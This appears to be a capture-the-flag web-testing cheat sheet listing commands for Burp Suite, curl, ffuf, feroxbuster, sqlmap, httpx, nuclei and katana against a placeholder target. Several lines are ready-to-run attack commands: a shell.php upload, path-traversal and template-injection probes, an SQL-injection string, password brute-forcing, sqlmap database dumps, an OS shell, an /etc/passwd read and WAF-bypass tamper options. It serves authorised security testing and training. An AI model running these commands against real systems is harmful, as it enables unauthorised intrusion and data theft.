webtools

# Burp proxy: 127.0.0.1:8080 (default)
# Browser: set HTTP proxy to 127.0.0.1:8080
# Install CA cert: http://burpsuite  (in browser via Burp)

# curl through Burp proxy
curl -x http://127.0.0.1:8080 -k https://target/
curl --proxy http://127.0.0.1:8080 --insecure https://target/

# Intercept toggle: Proxy → Intercept → On/Off
# Forward: forward button or Ctrl+F
# Drop request: drop button

# Scope: add target to scope
# Target → Scope → Add → paste URL
# Then: Proxy → Options → "intercept only in-scope"

# Repeater: replay/modify requests manually
# Right-click request → Send to Repeater (Ctrl+R)
# Modify → Send → see response

# Intruder: fuzzing/brute force
# Right-click → Send to Intruder (Ctrl+I)
# Positions tab: mark § payload positions §
# Attack types:
#   Sniper: one payload set, one position at a time
#   Battering Ram: same payload for all positions
#   Pitchfork: parallel payload sets per position
#   Cluster Bomb: all combinations (password spray)
# Payloads tab: add wordlist or simple list
# Options tab: set threads, timeout

# Sort results by status code or response length
# Different length = interesting response

# Decoder: Burp → Decoder tab
# Paste encoded data → decode as:
# URL, HTML, Base64, Hex, Binary, Gzip, etc.
# Chain decodings (decode base64 → URL decode)

# Logger (Pro) / HTTP History
# Proxy → HTTP History → see all requests
# Filter by host, status code, method

# Search all history
# Proxy → HTTP History → right-click → Search

# Scanner (Pro): active scan for vulns
# Right-click request → Scan

# Comparer: diff two requests/responses
# Right-click → Send to Comparer
# Useful: compare auth vs unauth response

# GET request
curl https://target/path
curl -s https://target/    # silent (no progress)
curl -v https://target/    # verbose (headers)
curl -k https://target/    # skip cert verify

# POST with data
curl -X POST https://target/login \
  -d "user=admin&pass=1234"

# POST JSON
curl -X POST https://target/api \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":"1234"}'

# Custom headers
curl -H "Authorization: Bearer TOKEN" \
  -H "X-Admin: true" https://target/

# Upload file
curl -F "file=@shell.php" https://target/upload

# Send cookie
curl -b "session=abc123" https://target/
curl --cookie "session=abc123; admin=true" https://target/

# Save + send cookies (session handling)
curl -c cookies.txt https://target/login \
  -d "user=admin&pass=1234"
curl -b cookies.txt https://target/admin

# Basic auth
curl -u admin:password https://target/
curl -H "Authorization: Basic $(echo -n 'admin:pass' | base64)" \
  https://target/

# Follow redirects
curl -L https://target/

# Only show response headers
curl -I https://target/
curl -D - https://target/ -o /dev/null  # headers + discard body

# Read flag from LFI
curl -s "https://target/?file=../../../flag"

# Test SSTI
curl -s "https://target/?name={{7*7}}"

# Send raw bytes in POST
curl -X POST https://target/ \
  --data-binary $'\x00\x01\x02\x03'

# URL-encoded payload
curl -G https://target/search \
  --data-urlencode "q=' OR 1=1--"

# Get response code only
curl -o /dev/null -s -w "%{http_code}\n" https://target/admin

# Websocket (websocat is better, but basic)
curl --include --no-buffer \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" https://target/ws

# Install: go install github.com/ffuf/ffuf/v2@latest

# Basic directory fuzzing
ffuf -u https://target/FUZZ \
  -w /usr/share/wordlists/dirb/common.txt

# With file extensions
ffuf -u https://target/FUZZ \
  -w /usr/share/wordlists/dirb/common.txt \
  -e .php,.html,.txt,.bak,.zip

# Filter by status code (exclude 404)
ffuf -u https://target/FUZZ -w words.txt \
  -fc 404                  # filter code 404
ffuf -u https://target/FUZZ -w words.txt \
  -mc 200,301,302         # match only these codes

# Filter by response size
ffuf -u https://target/FUZZ -w words.txt \
  -fs 4242               # filter responses of size 4242

# GET parameter fuzzing
ffuf -u "https://target/search?q=FUZZ" -w payloads.txt

# POST parameter fuzzing
ffuf -u https://target/login \
  -X POST \
  -d "user=admin&pass=FUZZ" \
  -w /usr/share/wordlists/rockyou.txt \
  -fc 401

# Virtual host fuzzing
ffuf -u https://target/ \
  -H "Host: FUZZ.target.com" \
  -w subdomains.txt -fs 1234

# Header fuzzing
ffuf -u https://target/ \
  -H "X-Forwarded-For: FUZZ" \
  -w ips.txt

# Multiple positions (CLUSTERBOMB)
ffuf -u https://target/FUZZ1/FUZZ2 \
  -w words1.txt:FUZZ1 -w words2.txt:FUZZ2 \
  -mode clusterbomb

# Install: cargo install feroxbuster

# Basic recursive scan
feroxbuster -u https://target

# Custom wordlist
feroxbuster -u https://target \
  -w /usr/share/wordlists/dirb/common.txt

# Add extensions
feroxbuster -u https://target \
  -x php,html,txt,bak,zip,tar

# Limit recursion depth
feroxbuster -u https://target -d 2

# Threads
feroxbuster -u https://target -t 50

# Filter by status
feroxbuster -u https://target \
  -C 404,403               # filter these codes

# Save output
feroxbuster -u https://target \
  -o results.txt

# Get SecLists
git clone --depth 1 https://github.com/danielmiessler/SecLists

# Test URL parameter
sqlmap -u "http://target/page?id=1"

# Test + enumerate databases
sqlmap -u "http://target/?id=1" --dbs

# Enumerate tables in database
sqlmap -u "http://target/?id=1" -D mydb --tables

# Dump table
sqlmap -u "http://target/?id=1" \
  -D mydb -T users --dump

# Dump all databases
sqlmap -u "http://target/?id=1" --dump-all

# From Burp request file
sqlmap -r request.txt --dbs
# (Save raw request from Burp → Repeater → Save)

# Increase aggressiveness (find harder injections)
sqlmap -u "http://target/?id=1" \
  --level=5 --risk=3

# Test POST parameter
sqlmap -u https://target/login \
  --data "user=admin&pass=1234" \
  -p pass   # target 'pass' parameter

# With cookies (authenticated scan)
sqlmap -u https://target/profile \
  --cookie "session=abc123" --dbs

# Force DB type
sqlmap -u "..." --dbms=mysql    # mysql|postgresql|sqlite|mssql

# Get OS shell (if stacked queries allowed)
sqlmap -u "..." --os-shell

# Read file
sqlmap -u "..." --file-read /etc/passwd
sqlmap -u "..." --file-read /flag

# Bypass WAF with tamper scripts
sqlmap -u "..." --tamper space2comment
sqlmap -u "..." --tamper between,randomcase
sqlmap -u "..." --tamper=space2comment,between  # chain, = form

# Probe a list of hosts BEFORE fuzzing
httpx -l hosts.txt -sc -title   # status code + page title
httpx -l hosts.txt -td          # -tech-detect (Wappalyzer)
httpx -l hosts.txt -sc -title -td -ip
# Single target
httpx -u https://target/ -sc -title
# Feed subfinder → httpx → live hosts only
subfinder -d target.com -silent | httpx -sc -title

# Scan a URL with template(s) / dir
nuclei -u https://target/ -t http/cves/
# -t = template file or directory
nuclei -l hosts.txt -t http/exposures/
# Filter by severity / tags (AND'd)
nuclei -u URL -severity critical,high
nuclei -u URL -tags cve,lfi
# Update templates
nuclei -update-templates

# Next-gen crawler (endpoints, JS)
katana -u https://target/
katana -u URL -d 5           # -d max depth (default 3)
katana -u URL -jc             # -js-crawl: parse JS files
katana -u URL -hl             # -headless hybrid crawl
# Chain into nuclei
katana -u URL -silent | nuclei -t http/

# Caido = fast, modern Burp Suite alternative
# (Rust/Go core, web UI; intercept + Replay + Automate)
# Proxy defaults to 127.0.0.1:8080 like Burp
# Good when Burp is heavy / for HTTPQL request filtering
# Note only — see caido.io for setup